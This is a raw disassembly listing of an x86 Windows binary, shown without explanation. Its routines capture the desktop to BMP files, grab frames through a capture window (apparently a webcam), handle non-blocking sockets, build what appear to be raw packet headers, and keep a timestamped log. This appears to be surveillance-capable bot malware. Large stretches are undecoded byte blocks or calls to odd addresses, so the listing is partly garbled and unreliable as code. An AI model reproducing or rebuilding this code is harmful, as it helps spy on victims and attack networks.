0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh, 0FFFF560Fh dd 8D14C483h, 0FFFC6C85h, 3AE850FFh, 0FF00000Dh, 98E8F075h dd 59FFFF6Fh, 0E8905659h, 22FBB7Ch, 81EC8B55h, 0CCECh dd 8B565300h, 4270A835h, 57DB3300h, 0FFFC5D89h, 0FF68D6h dd 36A0000h, 4589026Ah, 0D415FFF0h, 89004CB6h, 0D6FFF845h dd 741EE850h, 0BF590000h, 578h, 6A096A57h, 41BBE801h, 59590000h dd 0D8458D50h, 70BAE850h, 0C4830000h, 5A0BE0Ch, 0E8900000h dd 22AC189h, 33F0452Bh, 3E8B9D2h, 0F1F70000h, 1A0853Bh dd 870F0000h, 1C2h, 0EE081D39h, 5975004Ch, 8958106Ah, 8D50EC45h dd 50539845h, 707BE8h, 0CC48300h, 50EC458Dh, 5098458Dh dd 0FF0875FFh, 4CB5F815h, 0FF6800h, 16A0000h, 4150E8h dd 50595900h, 9E45B60Fh, 45B60F50h, 0B60F509Dh, 8D509C45h dd 0FFFF3485h, 0DC6C68FFh, 0E8500042h, 732Eh, 0EB18C483h dd 34858D13h, 68FFFFFFh, 4CE7E8h, 7942E850h, 59590000h dd 0FF34858Dh, 0FF50FFFFh, 4CB69415h, 0F4458900h, 24A8458Bh dd 450C5645h, 10AC45C6h, 0FFA84589h, 4CB65415h, 45896600h dd 7344E8AEh, 89660000h, 458BB045h, 0B84589F4h, 19C858Bh dd 0C7660000h, 40B245h, 40B445C6h, 6B545C6h, 0B65D8966h dd 0E8BC4589h, 731Ah, 0C0458966h, 7311E8h, 45896600h, 7308E8C2h dd 45890000h, 7300E8C4h, 45890000h, 0CC458BC8h, 0FF502566h dd 500C146Ah, 18CE45C6h, 0CC458966h, 0C2458B66h, 8A458966h dd 89BC458Bh, 458D8C45h, 0C76650A8h, 787DD045h, 0D25D8966h dd 0D45D8966h, 8845C766h, 57E80002h, 66FFFFFDh, 8DB64589h dd 286AA845h, 0FD48E850h, 458BFFFFh, 10C483B8h, 0FF548589h dd 458BFFFFh, 58C68BCh, 85890000h, 0FFFFFF58h, 0FF5C9D88h dd 85C6FFFFh, 0FFFFFF5Dh, 0E7E89006h, 667169D0h, 0FF5E8589h dd 858DFFFFh, 0FFFFFF60h, 8D50146Ah, 0E850C045h, 7C98h dd 0FF74858Dh, 5057FFFFh, 50D8458Dh, 7C87E8h, 54858D00h dd 68FFFFFFh, 598h, 0FCE0E850h, 0C483FFFFh, 45896620h dd 8D106AD2h, 53508845h, 56A8458Dh, 0F875FF50h, 0B6B815FFh dd 45FF004Ch, 0FE20E9FCh, 75FFFFFFh, 0EC15FFF8h, 8B004CB6h dd 5E5FFC45h ; --------------------------------------------------------------------------- pop ebx leave retn ; --------------------------------------------------------------------------- byte_4146CF db 55h ; DATA XREF: sub_401ACD+4CC0o dd 0EC81EC8Bh, 414h, 5608558Bh, 85B8h, 0C88B5700h, 0BD8DF28Bh dd 0FFFFFDECh, 214EC81h, 0A5F30000h, 0B58DC88Bh, 0FFFFFDECh dd 82C7FC8Bh, 210h, 1, 37E8A5F3h, 81000000h, 214C4h, 858D5000h dd 0FFFFFBECh, 4365DC68h, 5FE85000h, 8D000071h, 0FFFBEC85h dd 7AE850FFh, 0FF00000Ah, 0D8E8F075h, 83FFFF6Ch, 6A14C4h dd 0B8BAE890h, 8B55022Fh, 54EC81ECh, 53000002h, 0FFBB56h dd 53570000h, 26A036Ah, 0B6D415FFh, 0F883004Ch, 0F44589FFh dd 858D1A75h, 0FFFFFDACh, 4367CC68h, 0BE85000h, 59000071h dd 0E959FF33h, 2C9h, 6AEC4D8Dh, 0FF335104h, 5057026Ah dd 1EC45C7h, 0FF000000h, 4CB63415h, 0FFF88300h, 15FF0E75h dd 4CB5E8h, 677C6850h, 1BEB0043h, 500C458Dh, 0B69415FFh dd 0F883004Ch, 0FF2075FFh, 4CB5E815h, 38685000h, 8D004367h dd 0FFFDAC85h, 0AFE850FFh, 83000070h, 6EE90CC4h, 57000002h dd 0DC45C766h, 15FF0002h, 4CB654h, 0DE458966h, 500C458Dh dd 69CAFFE8h, 358B9071h, 4270A8h, 0FFE04589h, 0F84589D6h dd 500C458Dh, 0FDAC858Dh, 0C68FFFFh, 50004367h, 7069E8h dd 0CC48300h, 214BD39h, 20750000h, 0AC858D57h, 0FFFFFFFDh dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF522EE8h, 14C483FFh dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h dd 10C85h, 12E85000h, 3B00006Fh, 870F59F0h, 193h, 41CBEh dd 0BB05EB00h, 0FFh, 0EE083D39h, 5275004Ch, 8958106Ah dd 8D50F045h, 5057CC45h, 6CFBE8h, 0CC48300h, 50F0458Dh dd 50CC458Dh, 0FF0875FFh, 4CB5F815h, 16A5300h, 3DD4E8h dd 50595900h, 0D245B60Fh, 45B60F50h, 0B60F50D1h, 8D50D045h dd 6C68AC45h, 500042DCh, 6FB5E8h, 18C48300h, 458D10EBh dd 0E7E868ACh, 0E850004Ch, 75CCh, 0C6565959h, 4CE9E805h dd 15FF4500h, 4CB654h, 0E9EAA366h, 458D004Ch, 0C76650ACh dd 4CE9EC05h, 66000100h, 0E9EE3D89h, 5C6004Ch, 4CE9F0h dd 0F105C680h, 11004CE9h, 0F23D8966h, 0FF004CE9h, 4CB69415h dd 0E9F4A300h, 458B004Ch, 0E9F8A3E0h, 858D004Ch, 8Ch, 3D896650h dd 4CEA02h, 6E30E8h, 59C08500h, 8FE81075h, 9900006Fh, 401B9h dd 52F9F700h, 858D0EEBh, 8Ch, 6E0FE850h, 50590000h, 0B65415FFh dd 0A366004Ch, 4CE9FEh, 6F65E8h, 1B99900h, 68000004h, 408h dd 8966F9F7h, 4CE9FC15h, 5415FF00h, 68004CB6h, 400h, 0EA00A366h dd 3BE8004Ch, 9900006Fh, 6852FBF7h, 4CEA04h, 6BDBE8h, 0CC48300h dd 6ADC458Dh, 56575010h, 4CE9E868h, 0F475FF00h, 0B6B815FFh dd 0F883004Ch, 0A5840FFFh, 0FF000000h, 0E890FC45h, 22ABC8Dh dd 33F8452Bh, 3E8B9D2h, 0F1F70000h, 858DD88Bh, 10Ch, 6D7FE850h dd 0D83B0000h, 74860F59h, 0FFFFFFFEh, 15FFF475h, 4CB6ECh dd 8DFC758Bh, 10C85h, 0F6695000h, 41Ch, 6D58E8h, 0D2335900h dd 0C68BC88Bh, 0F70AE8C1h, 14EEC1F1h, 75FF5650h, 0C458DFCh dd 66A86850h, 858D0043h, 0FFFFFDACh, 6E3CE850h, 0C4830000h dd 14BD3918h, 75000002h, 858D5720h, 0FFFFFDACh, 210B5FFh dd 8D500000h, 18C85h, 75FF5000h, 5001E808h, 0C483FFFFh dd 335E5F14h, 0C3C95BC0h, 56FC75FFh, 0B5E815FFh, 8D50004Ch dd 68500C45h, 43661Ch db 0EBh, 0ACh word_414A92 dw 8B55h ; DATA XREF: sub_401ACD+6362o dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6CB4E8h dd 8D505900h, 0FFFE7085h, 0A6E850FFh, 5900006Ch, 0F0858D50h dd 50FFFFFDh, 0B69415FFh, 0E850004Ch, 147h, 500CC483h dd 0FBEC858Dh, 0F868FFFFh, 50004367h, 6D89E8h, 83F63300h dd 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF4F4Fh, 8D14C483h dd 0FFFBEC85h, 7AE850FFh, 0FF000006h, 0D8E8F075h, 59FFFF68h dd 0E8905659h, 22FB4BCh ; --------------------------------------------------------------------------- pop edi pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6F push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 71AB3E5Dh nop jmp loc_414C2B ; --------------------------------------------------------------------------- loc_414B6F: ; CODE XREF: ___:00414B59j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CB5FC push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CB63C test eax, eax jnz short loc_414BD3 or eax, 0FFFFFFFFh jmp short loc_414C2B ; --------------------------------------------------------------------------- loc_414BD3: ; CODE XREF: ___:00414BCCj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDE loc_414BDA: ; CODE XREF: ___:00414BFEj ; ___:00414C22j mov eax, edi jmp short loc_414C2B ; --------------------------------------------------------------------------- loc_414BDE: ; CODE XREF: ___:00414BD8j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414C00 lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BDA loc_414C00: ; CODE XREF: ___:00414BEDj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi call near ptr 71AB4122h nop cmp eax, edi jz short loc_414BDA mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2B: ; CODE XREF: ___:00414B6Aj ; ___:00414BD1j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- db 55h dd 0EC81EC8Bh, 10Ch, 6A575653h, 0DB335801h, 68535350h dd 0FFh, 26A036Ah, 90EC4589h, 6A0DACE8h, 0EC4D8D71h, 6A51046Ah dd 0A3505302h, 4CEE78h, 0B63415FFh, 358B004Ch, 4270A8h dd 0E850D6FFh, 6C60h, 6AC03359h, 0BD8D19h, 59FFFFFFh, 0FEF49D89h dd 4D89FFFFh, 0F89D8984h, 89FFFFFEh, 0FFFEFC9Dh, 7485C7FFh dd 1FFFFFFh, 0C7000004h, 0FFFF7885h, 15FFh, 7C85C700h dd 16FFFFFFh, 0C7000000h, 178045h, 45C70000h, 3588h, 8C45C700h dd 50h, 519045C7h, 0C7000000h, 589445h, 45C70000h, 6E98h dd 9C45C700h, 71h, 77A045C7h, 0C7000000h, 87A445h, 45C70000h dd 89A8h, 0AC45C700h, 8Bh, 8FB045C7h, 0C7000000h, 1BBB445h dd 45C70000h, 1BDB8h, 0BC45C700h, 400h, 99C045C7h, 0C7000005h dd 5DCC445h, 45C70000h, 6B8C8h, 0CC45C700h, 0CEAh, 3DD045C7h dd 0C700000Dh, 1388D445h, 45C70000h, 1A0BD8h, 0DC45C700h dd 1F40h, 90E045C7h, 0F300001Fh, 0F05D89ABh, 3E445C7h dd 0C7000000h, 0BB8E845h, 5D890000h, 8458BFCh, 6485C766h dd 2FFFFFFh, 68858900h, 8BFFFFFFh, 0BC8DFC45h, 0FFFF7405h dd 848B66FFh, 0FFFF7405h, 15FF50FFh, 4CB654h, 6A016A53h dd 85896602h, 0FFFFFF66h, 0B6D415FFh, 4D8D004Ch, 0F44589E4h dd 648D8D51h, 6AFFFFFFh, 0E8505110h, 0FFFFFD7Eh, 8910C483h dd 75FFF845h, 0EC15FFF4h, 39004CB6h, 0C75F85Dh, 8BFC4D8Bh dd 0D848907h, 0FFFFFEF4h, 4FC4583h, 70FC7D83h, 7CBF837Ch dd 68004CEEh, 42D128h, 6A84E857h, 59590000h, 4589D6FFh dd 0F4858DF4h, 89FFFFFEh, 4589FC5Dh, 2BD6FFF8h, 0D233F445h dd 3E8B9h, 3BF1F700h, 45770C45h, 8BF8458Bh, 74C33B00h dd 68575015h, 436824h, 0F0458957h, 6A45E8h, 10C48300h dd 0FF681AEBh, 530000FFh, 3834E8h, 50595900h, 0B65415FFh dd 0B70F004Ch, 0F04589C0h, 83FC45FFh, 8304F845h, 7C1CFC7Dh dd 53286AA8h, 4CEE1868h, 6716E800h, 0FFBE0000h, 0C60000FFh dd 4CEE1805h, 68564500h, 400h, 0EE2105C6h, 0C606004Ch dd 4CEE1905h, 0E6E80800h, 83000037h, 0FF5014C4h, 4CB65415h dd 66286A00h, 4CEE1CA3h, 5415FF00h, 80004CB6h, 4CEE200Dh dd 1D39FF00h, 4CEE08h, 0EE1AA366h, 8966004Ch, 4CEE1E1Dh dd 681A7500h, 0FFFEh, 0A6E8016Ah, 59000037h, 84D8B59h dd 2310E0C1h, 0EBC10BCEh, 0E7E8680Bh, 15FF004Ch, 4CB694h dd 4CEE24A3h, 8458B00h, 400068h, 0EE28A300h, 1D88004Ch dd 4CEE39h, 0B65415FFh, 5356004Ch, 0EE3AA366h, 62E8004Ch dd 8B000037h, 0C15356F8h, 56E808E7h, 83000037h, 0F80310C4h dd 5015FF57h, 0A3004CB6h, 4CEE30h, 4CEE38A0h, 87D8B00h dd 500C0F24h, 38A2146Ah, 66004CEEh, 89F0458Bh, 4CEE341Dh dd 1D896600h, 4CEE3Eh, 0EE2EA366h, 3D89004Ch, 4CEE54h dd 0EE581D88h, 5C6004Ch, 4CEE59h, 5415FF06h, 66004CB6h dd 4CEE5AA3h, 2EA16600h, 66004CEEh, 0EE4005C7h, 2004Ch dd 0EE443D89h, 0A366004Ch, 4CEE42h, 0EBFC5D89h, 0FFFFBE05h dd 5D390000h, 562F75FCh, 36CBE853h, 59590000h, 5415FF50h dd 66004CB6h, 4CEE2CA3h, 0EE24A100h, 50A3004Ch, 0C6004CEEh dd 4CEE3905h, 1D890200h, 4CEE34h, 53561FEBh, 0EE3905C6h dd 0E810004Ch, 3695h, 0FF505959h, 4CB65415h, 0C0B70F00h dd 4CEE34A3h, 5FF6600h, 4CEE1Ch, 0EE3005FFh, 0A166004Ch dd 4CEE2Eh, 0BE59056Ah, 4CEE2Ch, 4CEE5CBFh, 1D896600h dd 4CEE22h, 3C1D8966h, 6A004CEEh, 0BEA5F314h, 4CEE18h dd 0EE42A366h, 0E856004Ch, 0FFFF5C25h, 5068206Ah, 66004CEEh dd 4CEE22A3h, 5C13E800h, 0C483FFFFh, 3CA36610h, 6A004CEEh dd 0EE406810h, 6A53004Ch, 35FF5628h, 4CEE78h, 0B6B815FFh dd 45FF004Ch, 0FC7D81FCh, 3FFh, 0FF238C0Fh, 0E890FFFFh dd 22AB5E1h, 33F4452Bh, 3E8B9D2h, 0F1F70000h, 770C453Bh dd 1075FF0Eh, 0BE9EE890h, 0C2E90228h, 5FFFFFFDh, 0EE7CB85Eh dd 0C95B004Ch ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B5 proc near ; CODE XREF: sub_401ACD+7200p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D810 mov edi, 0B8h loc_4150C9: ; CODE XREF: sub_4150B5+33j cmp byte ptr [esi], 0 jz short loc_4150EC push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EC inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E390 jl short loc_4150C9 jmp short loc_41512E ; --------------------------------------------------------------------------- loc_4150EC: ; CODE XREF: sub_4150B5+17j ; sub_4150B5+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D810[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D828[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_4294D4 pop ebx loc_41512E: ; CODE XREF: sub_4150B5+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415135 proc near ; CODE XREF: sub_401ACD+28DEp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436840 push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h xor edi, edi mov esi, offset dword_43D810 loc_41515F: ; CODE XREF: sub_415135+72j cmp byte ptr [esi], 0 jz short loc_41519A lea eax, [esi+18h] push eax push esi push edi push offset dword_43682C lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 2Ch loc_41519A: ; CODE XREF: sub_415135+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E390 jl short loc_41515F pop edi pop esi leave retn sub_415135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AD proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 27B015Fh mov ebx, offset dword_4D327C mov edi, 80h mov esi, offset dword_4CF27C loc_4151CF: ; CODE XREF: sub_4151AD+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E6 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E6: ; CODE XREF: sub_4151AD+25j sub ebx, edi cmp ebx, esi jge short loc_4151CF movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415221 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AD add esp, 14h leave retn sub_415221 endp ; =============== S U B R O U T I N E ======================================= sub_41524D proc near ; CODE XREF: sub_401ACD+27D5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CF27C xor ecx, ecx loc_415254: ; CODE XREF: sub_41524D+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D327C jl short loc_415254 cmp [esp+arg_C], ecx jnz short loc_415282 push ecx push [esp+4+arg_8] push offset dword_43688C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A73 add esp, 14h loc_415282: ; CODE XREF: sub_41524D+19j push offset dword_436878 call sub_4151AD pop ecx retn sub_41524D endp ; --------------------------------------------------------------------------- word_41528E dw 8B55h ; DATA XREF: sub_401ACD+2888o dd 1CEC81ECh, 8B000003h, 57560845h, 8B59456Ah, 0E4BD8DF0h dd 6AFFFFFEh, 33A5F301h, 55395FD2h, 0F845C7F0h, 80h, 89FC5589h dd 110B8h, 521E7500h, 0FEE8858Dh, 75FFFFFFh, 68BC68ECh dd 0FF500043h, 0FFFEE4B5h, 4795E8FFh, 0C483FFFFh, 68BD8014h dd 0FFFFFFh, 858D1774h, 0FFFFFF68h, 6483E850h, 0C0850000h dd 0FC458959h, 45890374h, 86583F8h, 0F27CBE00h db 4Ch, 0 ; --------------------------------------------------------------------------- loc_41530A: ; CODE XREF: ___:00415362j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415364 cmp byte ptr [esi], 0 jz short loc_415353 cmp byte ptr [ebp-98h], 0 jz short loc_415339 cmp dword ptr [ebp-4], 0 jnz short loc_415339 lea eax, [ebp-98h] push eax push esi call sub_418087 pop ecx test eax, eax pop ecx jz short loc_415353 loc_415339: ; CODE XREF: ___:0041531Ej ; ___:00415324j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A73 add esp, 14h loc_415353: ; CODE XREF: ___:00415315j ; ___:00415337j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D327C jl short loc_41530A loc_415364: ; CODE XREF: ___:00415310j lea eax, [ebp-31Ch] push offset dword_4368A0 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539E push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A73 add esp, 14h loc_41539E: ; CODE XREF: ___:0041537Cj lea eax, [ebp-31Ch] push eax call sub_4151AD push dword ptr [ebp-18h] call sub_40B413 pop ecx pop ecx push esi ; --------------------------------------------------------------------------- db 0E8h, 46h, 0ACh dd 5F90022Fh ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BD proc near ; CODE XREF: sub_401ACD+7350p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CB640 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F1 push 8 push edi call dword_4CB65C push 0Ah push edi mov [ebp+var_8], eax call dword_4CB65C push 0Ch push edi mov [ebp+var_C], eax call dword_4CB65C cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541F push 18h push edi call dword_4CB65C mov ebx, 100h jmp short loc_415421 ; --------------------------------------------------------------------------- loc_41541F: ; CODE XREF: sub_4153BD+50j xor ebx, ebx loc_415421: ; CODE XREF: sub_4153BD+60j push edi call dword_4CB6A0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D6 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CB698 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E1 push eax push [ebp+var_4] call dword_4CB524 cmp eax, esi jz loc_4155E1 cmp eax, 0FFFFFFFFh jz loc_4155E1 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CB69C test eax, eax jz loc_4155E1 cmp ebx, esi jz short loc_4154DE lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CB578 mov ebx, eax loc_4154DE: ; CODE XREF: sub_4153BD+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 27308C8h cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C1 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call near ptr 2720000h nop lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 2720000h cmp ebx, esi jz short loc_4155A3 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call near ptr 2720000h nop loc_4155A3: ; CODE XREF: sub_4153BD+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 2720000h push [ebp+arg_0] call near ptr 2690934h nop push 1 pop esi loc_4155C1: ; CODE XREF: sub_4153BD+1A2j push [ebp+var_1C] call dword_4CB5B0 push [ebp+var_4] call dword_4CB510 mov edi, [ebp+var_20] loc_4155D6: ; CODE XREF: sub_4153BD+70j push edi call dword_4CB510 mov eax, esi jmp short loc_4155F3 ; --------------------------------------------------------------------------- loc_4155E1: ; CODE XREF: sub_4153BD+C7j ; sub_4153BD+D9j ... push edi call dword_4CB510 push [ebp+var_4] call dword_4CB510 loc_4155F1: ; CODE XREF: sub_4153BD+23j xor eax, eax loc_4155F3: ; CODE XREF: sub_4153BD+222j pop edi pop esi pop ebx leave retn sub_4153BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F8 proc near ; CODE XREF: sub_401ACD+7477p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D3280 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CB5A4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415636 mov eax, esi jmp loc_4157EC ; --------------------------------------------------------------------------- loc_415636: ; CODE XREF: sub_4155F8+35j push edi call dword_4CB5F4 test eax, eax jz short loc_415653 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB6B0 jmp short loc_415655 ; --------------------------------------------------------------------------- loc_415653: ; CODE XREF: sub_4155F8+47j xor eax, eax loc_415655: ; CODE XREF: sub_4155F8+59j cmp eax, ebx jnz short loc_415660 loc_415659: ; CODE XREF: sub_4155F8+88j ; sub_4155F8+BCj mov ebx, esi jmp loc_4157E1 ; --------------------------------------------------------------------------- loc_415660: ; CODE XREF: sub_4155F8+5Fj push edi call dword_4CB5F4 test eax, eax jz short loc_41567D lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CB6B0 loc_41567D: ; CODE XREF: sub_4155F8+71j cmp [ebp+var_20], ebx jz short loc_415659 push edi call dword_4CB5F4 test eax, eax mov edi, 42Ch jz short loc_4156A3 push ebx push ebx push edi push [ebp+var_4] call dword_4CB6B0 mov [ebp+arg_4], eax jmp short loc_4156A6 ; --------------------------------------------------------------------------- loc_4156A3: ; CODE XREF: sub_4155F8+98j mov [ebp+arg_4], ebx loc_4156A6: ; CODE XREF: sub_4155F8+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415659 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CD push 1 pop ebx jmp loc_4157E1 ; --------------------------------------------------------------------------- loc_4156CD: ; CODE XREF: sub_4155F8+CBj push [ebp+var_4] call dword_4CB5F4 test eax, eax jz short loc_4156EA push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB6B0 loc_4156EA: ; CODE XREF: sub_4155F8+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415705 mov ecx, 280h loc_415705: ; CODE XREF: sub_4155F8+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415711 mov eax, 1E0h loc_415711: ; CODE XREF: sub_4155F8+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CB5F4 test eax, eax mov edi, 42Dh jz short loc_41575B push esi push [ebp+arg_4] push edi push 